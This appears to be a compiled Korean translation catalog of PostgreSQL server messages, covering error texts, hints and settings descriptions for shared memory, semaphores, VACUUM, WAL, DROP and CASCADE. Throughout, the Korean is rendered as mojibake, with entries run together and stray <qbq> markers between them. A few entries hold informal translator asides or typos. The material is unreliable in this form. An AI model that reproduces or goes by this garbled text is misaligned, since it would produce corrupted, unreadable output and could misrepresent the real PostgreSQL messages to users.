ë„˜ì–´ê°„ 것(?) 같습지만, ì‚­ì œë  ìˆ˜ëŠ” 없습니다. ì§ì ‘ ì…¸ ëª…ë ¹ì„ ì´ìš©í•´ì„œ 파ì¼ì„ ì‚­ì œ 하고 다시 시ë„í•´ 보십시오. - ë‚´ìš© ì°¸ 거시기 í•˜ë„¤ì§€ì •ëœ ê°’ì´ ì´ í•„ë“œì— í—ˆìš©ë˜ëŠ” ê°’ê³¼ ì¼ì¹˜í•˜ì§€ 않습니다.<qbq>ì¸ë±ìŠ¤ê°€ 최ì í™”ë˜ì§€ 않았습니다. 최ì í™”하려면 개발ìžì—게 문ì˜í•˜ê±°ë‚˜, <qbq>CREATE INDEX 명령ì—서 해당 ì—´ì„ ë‘ ë²ˆì§¸ ì¸ë±ìŠ¤ë¡œ 사용하십시오.외부 ë°ì´í„° 래í¼ì˜ 소유주는 superuser여야 합니다.<qbq>ê²°ê³¼ 목ë¡ì— í¬í•¨ëœ í•­ëª©ì´ ì´ ê°œìˆ˜ë¥¼ 넘지 ì•Šì„ ë•Œë§ˆë‹¤ <qbq>ê³„íš ê´€ë¦¬ìžê°€ ëª…ì‹œì  JOIN êµ¬ë¬¸ì„ FROM 항목 목ë¡ì— 결합합니다.<qbq>ê²°ê³¼ FROM 목ë¡ì— í¬í•¨ëœ í•­ëª©ì´ ì´ ê°œìˆ˜ë¥¼ 넘지 않는 경우 <qbq>ê³„íš ê´€ë¦¬ìžê°€ 하위 쿼리를 ìƒìœ„ ì¿¼ë¦¬ì— ë³‘í•©í•©ë‹ˆë‹¤.postmaster ì—서 현재 ì´ì„œë²„ 프로세스ì—게 현재 íŠ¸ëžœìž­ì…˜ì„ ì·¨ì†Œí•˜ê³ , í´ë¼ì´ì–¸íŠ¸ì™€ì˜ ì—°ê²°ì„ ëŠìœ¼ë¼ëŠ” ëª…ë ¹ì„ ë³´ëƒˆìŠµë‹ˆë‹¤. 왜ëƒí•˜ë©´, 다른 서버 프로세스가 비정ìƒì ìœ¼ë¡œ 중지ë˜ì–´ 공유 메모리가 ì†ìƒë˜ì—ˆì„ ê°€ëŠ¥ì„±ì´ ìžˆê¸° 때문입니다"pg_" 문ìžë¡œ 시작하는 스키마는 시스템ì—서 사용하는 ì˜ˆì•½ëœ ìŠ¤í‚¤ë§ˆìž…ë‹ˆë‹¤."pg_" 문ìžë¡œ 시작하는 í…Œì´ë¸”스페ì´ìŠ¤ëŠ” 시스템 í…Œì´ë¸”스페ì´ìŠ¤ìž…ë‹ˆë‹¤.서버는 지정한 ë°ì´í„° ë””ë ‰í„°ë¦¬ì˜ ì†Œìœ ì£¼ 권한으로 시작ë˜ì–´ì•¼í•©ë‹ˆë‹¤.ì´ ì„œë²„ëŠ” fsync() 시스템 콜 ê¸°ëŠ¥ì„ ì—¬ëŸ¬ ê³³ì—서 사용할 것입니다. ì´ ê¸°ëŠ¥ì€ ë¬¼ë¦¬ì ìœ¼ë¡œ 디스í¬ì— ë³€ê²½ëœ ìžë£Œë¥¼ 즉ê°ì ìœ¼ë¡œ 기ë¡í•¨ì„ ì˜ë¯¸í•©ë‹ˆë‹¤. ì´ ê¸°ëŠ¥ì€ ì‹œìŠ¤í…œì˜ ë¹„ì •ìƒì ì¸ ë™ìž‘ì´ë‚˜, 하드웨어ì—서 오류가 ë°œìƒë˜ì—ˆì„ 경우ì—ë„ ìžë£Œë¥¼ 안전하게 지킬 수 있ë„ë¡ ë„와줄 것입니다.ì„œë²„ì˜ LC_CTYPE ë¡œìº˜ì€ ì´ ë°ì´í„°ë² ì´ìФ ì¸ì½”딩과 호환ë˜ì§€ 않습니다.<qbq>공유 잠금 í…Œì´ë¸”ì€ í•œ ë²ˆì— ìž ê°€ì•¼ í•  고유 개체 수가 <qbq>max_locks_per_transaction * max_connections를 넘지 않는다는 가정 í•˜ì— <qbq>í¬ê¸°ê°€ 지정ë©ë‹ˆë‹¤.ì§€ì›í•˜ëŠ” 언어 목ë¡ì€ pg_pltemplate 시스템 ì¹´íƒˆë¡œê·¸ì— ìžˆìŠµë‹ˆë‹¤.<qbq>ë°ì´í„°ë² ì´ìŠ¤ë¥¼ 사용하는 %dê°œì˜ ë‹¤ë¥¸ 세션과 %dê°œì˜ <qbq>ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì´ ìžˆìŠµë‹ˆë‹¤.ë°ì´í„°ë² ì´ìŠ¤ë¥¼ 사용하는 %dê°œì˜ ë‹¤ë¥¸ ì„¸ì…˜ì´ ìžˆìŠµë‹ˆë‹¤.여러 가지 등ì‹ë“¤ì´ 성립할 수 있는 ê°€ëŠ¥ì„±ì´ ìžˆìŠµë‹ˆë‹¤<qbq>"%s"(ì´)ë¼ëŠ” WITH í•­ëª©ì´ ìžˆì§€ë§Œ ì´ ì¿¼ë¦¬ 부분ì—서 <qbq>참조할 수 없습니다."%s" ë°ì´í„°ë² ì´ìФ ì†Œì† ëª‡ëª‡ í…Œì´ë¸”ë“¤ì´ ì´ í…Œì´ë¸”스페ì´ìŠ¤ì•ˆì— ìžˆì–´ì„œ ì¶©ëŒì´ ì¼ì–´ë‚©ë‹ˆë‹¤.<qbq>"%s" í…Œì´ë¸”ì— ëŒ€í•œ í•­ëª©ì´ ìžˆì§€ë§Œ ì´ ì¿¼ë¦¬ 부분ì—서 <qbq>참조할 수 없습니다.ì´ ê°’ì€ real, duoble ë¶€ë™ ì†Œìˆ«ì ê³¼ 지리정보 ìžë£Œí˜•ì— ì˜í–¥ì„ ë¼ì¹©ë‹ˆë‹¤. ì´ ê°’ì€ ì •ìˆ˜ì—¬ì•¼í•©ë‹ˆë‹¤(FLT_DIG or DBL_DIG as appropriate - 무슨 ë§ì¸ì§€).ì´ ì•Œê³ ë¦¬ì¦˜ì€ ì†Œë¹„ì ì¸ 검색(exhaustive searching)ì´ ì—†ëŠ” 실행계íšì„ 만듭니다.ì´ë ‡ê²Œ 하면 디버거를 í”„ë¡œì„¸ìŠ¤ì— ì—°ê²°í•  수 있습니다.특정 ì—´ì„ ì§€ì •í•˜ì§€ 않고 ALTER TABLE SET STATISTICS ëª…ë ¹ì„ ì‚¬ìš©í–ˆì„ ë•Œ, 통계 대ìƒì´ ë  ì—´ì„ ì§€ì •í•©ë‹ˆë‹¤.advanced, extended, basic 중 하나를 지정할 수 있ìŒ<qbq>ì´ ê°’ì€ ì—°ê²°ì´ ì¤‘ë‹¨ëœ ê²ƒìœ¼ë¡œ 간주ë˜ê¸° ì „ì— ì†ì‹¤ë  수 있는 <qbq>ì—°ì† ì—°ê²° 유지 재전송 수를 제어합니다. ê°’ 0ì„ ì§€ì •í•˜ë©´ 시스템 기본 ê°’ì´ <qbq>사용ë©ë‹ˆë‹¤.<qbq>ì´ê²ƒì€ ë°”ì´íЏ 순서 불ì¼ì¹˜ ë¬¸ì œì¼ ìˆ˜ 있습니다.  initdb를 <qbq>수행해야 합니다.This error can also happen if the byte sequence does not match the encoding expected by the server, which is controlled by "client_encoding".ì´ ì˜¤ë¥˜ëŠ” 서버를 ì‹¤í–‰í•˜ëŠ”ë° í•„ìš”í•œ ë””ìŠ¤í¬ ê³µê°„ì´ ë¶€ì¡±í•´ì„œ ë°œìƒí•œ ê²ƒì´ ì•„ë‹™ë‹ˆë‹¤.
ì´ ì˜¤ë¥˜ëŠ” 시스템ì—서 지정한 최소 세마í¬ì–´ 수(SEMMNI)ê°€ 너무 í¬ê±°ë‚˜, 최대 세마í¬ì–´ 수(SEMMNS)ê°€ 너무 ì ì–´ì„œ 서버를 실행할 수 ì—†ì„ ë•Œ ë°œìƒí•©ë‹ˆë‹¤. ì´ì— ë”°ë¼, ì •ìƒì ìœ¼ë¡œ 서버가 실행ë˜ë ¤ë©´, 시스템 ê°’ë“¤ì„ ì¡°ì •í•  필요가 있습니다. 아니면, 다른 방법으로, PostgreSQLì˜ í™˜ê²½ 설정ì—서 max_connections ê°’ì„ ì¤„ì—¬ì„œ (현재 %d) 세마í¬ì–´ 사용 수를 줄여보십시오.
보다 ìžì„¸í•œ ë‚´ìš©ì€ PostgreSQL ê´€ë¦¬ìž ë©”ë‰´ì–¼ì„ ì°¸ì¡° 하십시오.ì´ ì˜¤ë¥˜ëŠ” 서버를 ì‹¤í–‰í•˜ëŠ”ë° í•„ìš”í•œ ë””ìŠ¤í¬ ê³µê°„ì´ ë¶€ì¡±í•´ì„œ ë°œìƒí•œ ê²ƒì´ ì•„ë‹™ë‹ˆë‹¤.
ì´ ì˜¤ë¥˜ëŠ” 시스템ì—서 지정한 최소 세마í¬ì–´ 수(SEMMNI)ê°€ 너무 í¬ê±°ë‚˜, 최대 세마í¬ì–´ 수(SEMMNS)ê°€ 너무 ì ì–´ì„œ 서버를 실행할 수 ì—†ì„ ë•Œ ë°œìƒí•©ë‹ˆë‹¤. 현재 요구 í¬ê¸°(%lu ë°”ì´íЏ)를 좀 줄여 보십시오. 줄ì´ëŠ” 방법ì€, shared_buffers ê°’(현재 %d) ì„ ì¤„ì´ê³  max_connections ê°’(현재 %d)ë„ í•¨ê»˜ 줄여 보십시오.
보다 ìžì„¸í•œ ë‚´ìš©ì€ PostgreSQL ê´€ë¦¬ìž ë©”ë‰´ì–¼ì„ ì°¸ì¡° 하십시오.ì´ ì˜¤ë¥˜ë¥¼ ì¼ë°˜ì ìœ¼ë¡œ PostgreSQLì—서 사용할 공유 메모리 ì˜ì—­ì´ 부족해서 ë°œìƒí•©ë‹ˆë‹¤. 현재 요구 í¬ê¸°(%lu ë°”ì´íЏ)를 좀 줄여 보십시오. 줄ì´ëŠ” 방법ì€, shared_buffers ê°’(현재 %d) ì„ ì¤„ì´ê³  max_connections ê°’(현재 %d)ë„ í•¨ê»˜ 줄여 보십시오.
보다 ìžì„¸í•œ ë‚´ìš©ì€ PostgreSQL 문서를 참조하십시오.ì´ ì˜¤ë¥˜ëŠ” ì¼ë°˜ì ìœ¼ë¡œ 커ë„ì˜ SHMMAX ê°’ì´ ë„ˆë¬´ ì ê²Œ ì±…ì •ë˜ì–´ 있어서, PostgreSQL 쪽ì—서 공유 메모리 세그먼트를 제대로 할당하지 못해서 ë°œìƒí•©ë‹ˆë‹¤. SHMMAX ê°’ì„ ëŠ˜ë ¤ë³´ë“ ì§€, 아니면, PostgreSQL í™˜ê²½ì„¤ì •ì„ í†µí•´ì„œ 사용하는 공유 메모리 í¬ê¸° (현재 %lu ë°”ì´íŠ¸ê°€ 필요함)를 줄여보십시오. ì´ í¬ê¸°ë¥¼ 줄ì´ë ¤ë©´, shared_buffers ê°’(현재 %d)ê³¼ max_connections ê°’(현재 %d)ì„ ì¤„ì´ì‹­ì‹œì˜¤.
ì´ë¯¸ ì´ ê°’ë“¤ì„ ì¶©ë¶„ížˆ ì ê²Œ 사용하고 있ìŒì—ë„ ë¶ˆêµ¬í•˜ê³ , ì´ ì˜¤ë¥˜ê°€ ë°œìƒí•œë‹¤ë©´, 커ë„ì˜ SHMMIN 값보다 ë” ìž‘ì€ ê°’ì„ ì‚¬ìš©í•´ì„œ ë°œìƒí–ˆì„ ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤. ì´ëŸ° 경우ë¼ë©´, SHMMIN ê°’ì„ ë” ìž‘ê²Œ 지정하든지, PostgreSQL ì—서 쓰는 공유 ë©”ëª¨ë¦¬ëŸ‰ì„ ì¢€ ë” í¬ê²Œ 설정하든지 하십시오.
공유 메모리 ì„¤ì •ì— ê´€ê³„ëœ ë³´ë‹¤ ìžì„¸í•œ ê²ƒì€ PostgreSQL 문서를 참조 하십시오.ì´ ê¸°ëŠ¥ì„ ì‚¬ìš©í•˜ë ¤ë©´ libxml ì§€ì›ìœ¼ë¡œ 서버를 빌드해야 합니다.ì´ ë¬¸ì œëŠ” 커ë„ì˜ ë¬¸ì œë¡œ 알려졌습니다. ì‹œìŠ¤í…œì„ ì—…ë°ì´íŠ¸í•˜ì‹­ì‹œì˜¤.ê´€ë¦¬ìž‘ì—…ì€ VACUUM, CREATE INDEX ê°™ì€ ìž‘ì—…ì„ ëœ»í•©ë‹ˆë‹¤.ì´ ê¸°ëŠ¥ì€ ë””ë²„ê¹…ì—서 사용함ì´ëŠ” 쿼리를 다시 작성한 규칙 ë•Œë¬¸ì¼ ìˆ˜ 있습니다.<qbq>ì´ê²ƒì€ 불완전한 PostgreSQL 설치를 나타내거나, <qbq>"%s" 파ì¼ì´ 올바른 위치ì—서 ì´ë™ë˜ì—ˆìŒì„ 나타낼 수 있습니다.ì´ ë§¤ê°œ 변수는 아무런 ìž‘ì—…ì„ í•˜ì§€ì•ŠìŒ.ì´ ì‚¬íƒœëŠ” 몇몇 ë°ì´í„°ê°€ ì†ìƒë˜ì—ˆì„ ì˜ë¯¸í•  ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤. 확ì¸í•´ ë³´ê³ , 필요하다면, 마지막 백업 ìžë£Œë¡œ 복구해서 사용하세요.ì´ ê°’ì€ ë™ì¼í•œ 필드 형ì‹ì˜ ì´ì „ 설정과 모순ë©ë‹ˆë‹¤.목목요ì¼TCP ì—°ê²° 유지 실행 간격입니다.<qbq>ì²´í¬í¬ì¸íЏ ë„중 ë³€ê²½ëœ ë²„í¼ í”ŒëŸ¬ì‹œì— ì‚¬ìš©ëœ ì‹œê°„ìœ¼ë¡œ, <qbq>ì²´í¬í¬ì¸íЏ ê°„ê²©ì˜ ë¶„ìˆ˜ 값입니다.ìžë™ 청소 실행 사ì´ì˜ 절전 모드 시간입니다.타임ë¼ì¸ ID ê°’ì€ ê·¸ ê°’ì´ ì¦ê°€í•˜ëŠ” 순번값ì´ì–´ì•¼í•©ë‹ˆë‹¤.타임ë¼ì¸ ID는 하위 타임ë¼ì¸ ID보다 작아야 합니다.<qbq>ë°ì´í„°ë² ì´ìŠ¤ê°€ 종료ë˜ì§€ 않ë„ë¡ í•˜ë ¤ë©´ "%s"ì—서 ë°ì´í„°ë² ì´ìФ ìˆ˜ì¤€ì˜ VACUUMì„ ì‹¤í–‰í•˜ì‹­ì‹œì˜¤.
<qbq>ì´ì „ ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì„ ì»¤ë°‹ ë˜ëŠ” 롤백해야 í•  ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤.ì´ ì¶©ëŒì„ 피하려면, default ê°’ì„ ë°”ë¥´ê²Œ 지정하십시오.ì—´ 수가 너무 ì ë‹¤ì—´ì´ 너무 많습니다."표현=NULL" ì‹ì„ "표현 IS NULL"로 취급함.로그 회전 중 ë™ì¼í•œ ì´ë¦„ì˜ ê¸°ì¡´ 로그 파ì¼ì„ ìžë¦…니다."%s" í…Œì´ë¸”ë„ í•¨ê»˜ ìžë£Œë¥¼ 지우거나, TRUNCATE ... CASCADE êµ¬ë¬¸ì„ ì‚¬ìš©í•˜ì„¸ìš”.ìžì„¸í•œ ì‚¬í•­ì€ "%s --help" 명령으로 살펴보세요.ìžì œí•œ ì‚¬í•­ì€ "%s --help" 명령으로 살펴보십시오.
COPY (SELECT ...) TO ë³€í˜•ì„ ì‹œë„하십시오.화화요ì¼ì—¬ëŸ¬ê°€ì§€ assertion ì²´í¬ ê¸°ëŠ¥ì„ ì¼¬UNIQUE 술어는 ì•„ì§ êµ¬í˜„ë˜ì§€ 못했습니다UTF-16 코드를 UTF-8 코드로 바꾸기 실패: %luìž…ë ¥ì˜ ì˜ˆìƒì¹˜ 못한 종료.소ì†ê·¸ë£¹ì—†ìŒ<qbq>서버 ì¸ì½”ë”©ì´ UTF8ì´ ì•„ë‹Œ 경우 007F보다 í° ì½”ë“œ ì§€ì  ê°’ì—는 유니코드 ì´ìŠ¤ì¼€ì´í”„ ê°’ì„ <qbq>사용할 수 ì—†ìŒìœ ë‹‰ìŠ¤í™œì„± SQL ëª…ë ¹ì„ í‘œì‹œí•˜ë„ë¡ í”„ë¡œì„¸ìŠ¤ ì œëª©ì„ ì—…ë°ì´íŠ¸í•©ë‹ˆë‹¤.사용법:
  %s [옵션]...

newline 값으로 "\n" 문ìžë¥¼ 사용하세요carriage return값으로 "\r" 문ìžë¥¼ ì‚¬ìš©í•˜ì„¸ìš”ìž‘ì€ ë”°ì˜´í‘œëŠ” '' 형태니, ì¸ìš©ë¶€í˜¸ 표기법(E'...') 형태로 사용하십시오.ìž‘ì€ ë”°ì˜´í‘œëŠ” '' 형태로 사용하십시오. \' í‘œê¸°ë²•ì€ í´ë¼ì´ì–¸íЏ ì „ìš© ì¸ì½”딩ì—서 안전하지 않습니다.ì§‘ê³„í•¨ìˆ˜ì˜ ì†Œìœ ì£¼ë¥¼ 바꾸려면, ALTER AGGREGATE ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”ì§‘ê³„í•¨ìˆ˜ì˜ ì´ë¦„ì„ ë°”ê¾¸ë ¤ë©´, ALTER AGGREGATE ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”ê·¸ê²ƒë“¤ì„ ì·¨ì†Œí•˜ë ¤ë©´ "CASCADE"를 사용하세요.ë°ì´í„°ë² ì´ìФ ë‚´ì—서 프로시주얼 언어를 사용하려면 먼저 CREATE LANGUAGE 명령으로 사용할 언어를 등ë¡í•˜ì„¸ìš”.ì´ ê°œì²´ì™€ ê´€ê³„ëœ ëª¨ë“  ê°œì²´ë“¤ì„ í•¨ê»˜ 삭제하려면 DROP ... CASCADE ëª…ë ¹ì„ ì‚¬ìš©í•˜ì‹­ì‹œì˜¤ì§‘ê³„í•¨ìˆ˜ëŠ” DROP AGGREGATE 명령으로 삭제할 수 있습니다먼저 DROP FUNCTION 명령으로 함수를 삭제부터 하세요ì¸ë±ìŠ¤ë¥¼ 삭제하려면, DROP INDEX ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”.시퀀스를 삭제하려면 DROP SEQUENCE ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”.í…Œì´ë¸”ì„ ì‚­ì œí•˜ë ¤ë©´, DROP TABLE ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”.ìžë£Œí˜•ì„ ì‚­ì œí•˜ë ¤ë©´ DROP TYPE ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”.뷰를 삭제하려면, DROP VIEW ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”.단항 ì—°ì‚°ìžì—서 ì¸ìˆ˜ ì—†ìŒì„ 표시할 때는 NONE ì¸ìˆ˜ë¥¼ 사용하세요.ëŒ€ì‹ ì— SELECT ... UNION ALL ... êµ¬ë¬¸ì„ ì‚¬ìš©í•˜ì„¸ìš”.<qbq>WITH RECURSIVE를 사용하거나 WITH í•­ëª©ì˜ ìˆœì„œë¥¼ 변경하여 ì •ë°©í–¥ 참조를 제거하십시오.명시ì ìœ¼ë¡œ 순차연산ìž(ordering operator) 를 사용하ë˜ì§€, ë˜ëŠ” query 를 수정하ë„ë¡ í•˜ì„¸ìš”.carriage return 문ìžë¥¼ 그대로 ì ìš©í•˜ë ¤ë©´, quoted CSV 필드를 사용하세요.newline 문ìžë¥¼ 그대로 ì ìš©í•˜ë ¤ë©´, quoted CSV 필드를 사용하세요.LIMIT # OFFSET # êµ¬ë¬¸ì„ ì‚¬ìš©í•˜ì„¸ìš”.24시간제를 사용하거나 1ì—서 12 사ì´ì˜ ì‹œê°„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤.백슬래시 표기는 ì¸ìš©ë¶€í˜¸ 표기법으로 사용하세요, 예, E'\\'.ì¸ìš©ë¶€í˜¸ í‘œê¸°ë²•ì„ ì‚¬ìš©í•˜ì„¸ìš”, 예, E'\r\n'.<qbq>템플릿 ë°ì´í„°ë² ì´ìŠ¤ì™€ ë™ì¼í•œ LC_CTYPEì„ ì‚¬ìš©í•˜ê±°ë‚˜ template0ì„ <qbq>템플릿으로 사용하십시오.<qbq>템플릿 ë°ì´í„°ë² ì´ìŠ¤ì™€ ë™ì¼í•œ ë°ì´í„° ì •ë ¬ì„ ì‚¬ìš©í•˜ê±°ë‚˜ template0ì„ <qbq>템플릿으로 사용하십시오.<qbq>템플릿 ë°ì´í„°ë² ì´ìŠ¤ì™€ ë™ì¼í•œ ì¸ì½”ë”©ì„ ì‚¬ìš©í•˜ê±°ë‚˜ template0ì„ <qbq>템플릿으로 사용하십시오.ëŒ€ì‹ ì— íŠ¸ë¦¬ê±°ë¥¼ 사용하십시오.ëŒ€ì‹ ì— ë·°ë¥¼ 사용하십시오.ëŒ€ì‹ ì— ë·°ë‚˜ 트리거를 사용하십시오.사용ìžì—게 CONNECT ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.EXPLAIN VERBOSE 실행 때, 들여쓰기를 한 출력 ì–‘ì‹ì„ 사용함.FROM ì•ˆì˜ VALUES는 반드시 aliasê°€ 있어야합니다VALUES ë’¤ì— ì˜¤ëŠ” "%s" 구문ì—는 %dê°œì˜ ì—´ì´ ìžˆëŠ”ë°, 지정한 ì—´ì€ %dê°œ 입니다VALUES 목ë¡ì€ ëª¨ë‘ ê°™ì€ ê¸¸ì´ì—¬ì•¼ 함VALUESì— OLD ë˜ëŠ” NEW 참조가 í¬í•¨ë˜ì§€ 않아야 함VALUESì— í…Œì´ë¸” 참조가 í¬í•¨ë˜ì§€ 않아야 함VARIADIC 매개 변수는 ë°°ì—´ì´ì–´ì•¼ 함VARIADIC 매개 변수는 마지막 ìž…ë ¥ 매개 변수여야 함ìžë™ ì²­ì†Œì— ëŒ€í•œ 청소가 중지ë˜ëŠ” 청소 비용 합계입니다.청소가 중지ë˜ëŠ” 청소 비용 합계입니다.ìžë™ ì²­ì†Œì— ëŒ€í•œ 청소 비용 지연(밀리초)입니다.청소 비용 지연(밀리초)입니다.청소로 페ì´ì§€ 변경 시 부과ë˜ëŠ” 비용입니다.ë²„í¼ ìºì‹œì— 있는 페ì´ì§€ì˜ 청소 비용입니다.ë²„í¼ ìºì‹œì— 없는 페ì´ì§€ì˜ 청소 비용입니다.ì´ ì»¨í…스트ì—서 유효한 옵션: %sì´ ë§¤ê°œ ë³€ìˆ˜ì— ìœ íš¨í•œ 단위는 "KB", "MB" ë° "GB"입니다.<qbq>ì´ ë§¤ê°œ ë³€ìˆ˜ì— ìœ íš¨í•œ 단위는 "ms", "s", "min", "h" ë° "d"입니다.사용할 수 있는 ê°’: DEBUG5, DEBUG4, DEBUG3, DEBUG2, DEBUG1, LOG, NOTICE, WARNING, ERROR, LOG, FATAL, PANIC. ê° ìˆ˜ì¤€ì€ ê·¸ ì´í•˜ ìˆ˜ì¤€ë“¤ë„ ëª¨ë‘ í¬í•¨í•©ë‹ˆë‹¤. ë’· 수준으로 ê°ˆìˆ˜ë¡ ê¸°ë¡ë˜ëŠ” 메시지가 ì ìŠµë‹ˆë‹¤.사용할 수 있는 ê°’ì€ LOCAL0, LOCAL1, LOCAL2, LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7.ê°’ì´ ì •ìˆ˜ 범위를 초과합니다.ë§ˆìŠ¤í¬ ì˜¤ë¥¸ìª½ì— ì„¤ì •ëœ ë¹„íŠ¸ê°€ ê°’ì— í¬í•¨ë˜ì–´ 있습니다.ê°’ì€ %dì—서 %d 사ì´ì˜ ë²”ìœ„ì— ìžˆì–´ì•¼ 합니다.<qbq>ë²„í¼ íŽ˜ì´ì§€ì˜ 1/3보다 í° ê°’ì€ ì¸ë±ì‹±í•  수 없습니다.
<qbq>ê°’ì˜ MD5 해시 함수 ì¸ë±ìŠ¤ë¥¼ 고려하거나 ì „ì²´ í…스트 <qbq>ì¸ë±ì‹±ì„ 사용하십시오.ë²„í¼ íŽ˜ì´ì§€ë³´ë‹¤ í° ê°’ì€ ì¸ë±ì‹±í•  수 없습니다.버전과 í”Œëž«í¼ í˜¸í™˜ì„±ë²„ì „ê³¼ í”Œëž«í¼ í˜¸í™˜ì„± / 다른 플랫í¼ê³¼ í´ë¼ì´ì–¸íŠ¸ë²„ì „ê³¼ í”Œëž«í¼ í˜¸í™˜ì„± / ì´ì „ PostgreSQL 버전WAL ì•„ì¹´ì´ë¹™ì´ 활성 ìƒíƒœê°€ 아님WALì´ ì¼ì¹˜í•˜ëŠ” 복구 ì§€ì  ì•žì—서 종료ë¨WAL 파ì¼ì˜ SYSID는 %sì´ë©°, pg_control SYSID는 %sìž„WAL 파ì¼ì´ ì´ ì‹œìŠ¤í…œì˜ ê²ƒì´ ì•„ë‹™ë‹ˆë‹¤ê²½ê³ WITH CHECK OPTION êµ¬ë¬¸ì€ ì•„ì§ ì§€ì›í•˜ì§€ 않습니다연결 작업ì—서 ì¸ì¦ì´ ë난 ë’¤ Nì´ˆ 기다림ì¼ë°˜ 문ìžì—´ ë¦¬í„°ëŸ´ì˜ ë°±ìŠ¬ëž˜ì‹œ ì´ìŠ¤ì¼€ì´í”„ì— ëŒ€í•´ 경고합니다.수수요ì¼CREATE USER ë˜ëŠ” ALTER USER 명령ì—서 ENCRYPTED ë˜ëŠ” UNENCRYPTED ì†ì„±ì„ 특별히 지정하지 않았고 ì‚¬ìš©ìž ì•”í˜¸ë¥¼ ì§€ì •í–ˆì„ ë•Œ, ê·¸ 암호를 암호화 해서 저장할 것ì¸ì§€ 아닌지를 지정함표현 = NULL ì˜ ë°”ë¥¸ 처리는 í•­ìƒ null ê°’ì„ ë¦¬í„´í•´ì•¼í•˜ì§€ë§Œ, 편ì˜ì„±ì„ 위해서 expr = NULL êµ¬ë¬¸ì„ expr IS NULL 구문으로 바꾸어서 처리하ë„ë¡ í•¨ì´ë ‡ê²Œí•˜ë©´, 윗 êµ¬ë¬¸ì€ true 를 리턴함<qbq>설정하면 ë°°ì—´ ìž…ë ¥ ê°’ì— ë”°ì˜´í‘œ ì—†ì´ ìž…ë ¥ëœ NULLì´ null ê°’ì„ ì˜ë¯¸í•˜ê³ , <qbq>그렇지 않으면 리터럴로 처리ë©ë‹ˆë‹¤.ì°½ 순서 지정 ì—´ì€ ì •ë ¬ 가능한 ë°ì´í„° 형ì‹ì´ì–´ì•¼ 합니다.ì°½ ë¶„í•  ì—´ì€ ì •ë ¬ 가능한 ë°ì´í„° 형ì‹ì´ì–´ì•¼ 합니다.%dìžë³´ë‹¤ 긴 단어는 무시ë©ë‹ˆë‹¤.ì²´í¬í¬ì¸íЏ ìž‘ì—…ì´ ì§€ê¸ˆ 지정한 시간(ì´ˆ)보다 ìžì£¼ ì²´í¬í¬ì¸íЏ 세그먼트 파ì¼ì— ë‚´ìš©ì´ ê½‰ 차는 사태가 ë°œìƒí•˜ë©´ 경고 메시지를 서버 ë¡œê·¸ì— ë‚¨ê¹ë‹ˆë‹¤. ì´ ê°’ì„ 0으로 지정하면 ì´ ê¸°ëŠ¥ ì—†ìŒWrite-Ahead 로그Write-Ahead 로그 / ì²´í¬í¬ì¸íЏWrite-Ahead 로그 / ì„¤ì •ê°’ëˆ„ì  ì„±ëŠ¥ 통계를 서버 ë¡œê·¸ì— ê¸°ë¡í•¨.ì‹¤í–‰ìž ì„±ëŠ¥ 통계를 서버 ë¡œê·¸ì— ê¸°ë¡í•¨.ì²´í¬í¬ì¸íЏ 후 ì²˜ìŒ ìˆ˜ì •í•  때 ì „ì²´ 페ì´ì§€ë¥¼ WALì— ì”니다.êµ¬ë¬¸ë¶„ì„ ì„±ëŠ¥ 통계를 서버 ë¡œê·¸ì— ê¸°ë¡í•¨.실행계íšìž 성능 통계를 서버 ë¡œê·¸ì— ê¸°ë¡í•¨.postmaster PIDê°€ 기ë¡ëœ 파ì¼ì˜ 경로를 지정합니다.XML 처리 명령ì—는 "?&gt;"를 í¬í•¨í•  수 없습니다.XML 처리 명령 ëŒ€ìƒ ì´ë¦„ì€ "%s"ì¼ ìˆ˜ 없습니다.%s 형ì‹ì„ 변경할 수 있으며, ì´ë ‡ê²Œ 하면 ë°°ì—´ 형ì‹ë„ 변경ë©ë‹ˆë‹¤.대신ì—, drop %s ëª…ë ¹ì„ ì‚¬ìš©í•  수 있ìŒ.<qbq>"%s" ì—´ì„ NOT NULL로 표시하여 ì´ ë¬¸ì œë¥¼ 해결하거나 <qbq>ALTER TABLE ... SET WITHOUT CLUSTER를 사용하여 í…Œì´ë¸”ì—서 í´ëŸ¬ìŠ¤í„° ì§€ì •ì„ <qbq>제거할 수 있습니다.먼저 "%s" ì—´ì˜ NULL ìžë£Œë“¤ì„ ì ë‹¹í•œ 값으로 바꾸고, ì†ì„±ìœ¼ë¡œ NOT NULLì„ ì§€ì •í•´ì•¼ 합니다.<qbq>ë°”ì´ëŸ¬ìФ 백신 프로그램, 백업 ë˜ëŠ” 유사한 소프트웨어가 ë°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì„ <qbq>ë°©í•´í•  수 있습니다.<qbq>ì´ ëª…ë ¹ì„ ì‚¬ìš©í•˜ê¸° ì „ì— ë°ì´í„°ë² ì´ìŠ¤ì˜ ê¸°ë³¸ í…Œì´ë¸”스페ì´ìŠ¤ë¡œ <qbq>다시 ì´ë™í•´ì•¼ 합니다.ì´ ì¸ë±ìŠ¤ë¥¼ 위한 ì—°ì‚°ìž í´ëž˜ìŠ¤ë¥¼ 지정하거나 먼저 ì´ ìžë£Œí˜•ì„ ìœ„í•œ 기본 ì—°ì‚°ìž í´ëž˜ìŠ¤ë¥¼ ì •ì˜í•´ ë‘어야합니다TURNING ì ˆì—서는 무조건 ON DELETE DO INSTEAD ì†ì„±ìœ¼ë¡œ ruleì´ ì‚¬ìš©ë˜ì–´ì•¼í•©ë‹ˆë‹¤ON DELETE DO INSTEAD ì†ì„±ìœ¼ë¡œ rule를 만들어서 사용해 보세요.RETURNING ì ˆì—서는 무조건 ON INSERT DO INSTEAD ì†ì„±ìœ¼ë¡œ ruleì´ 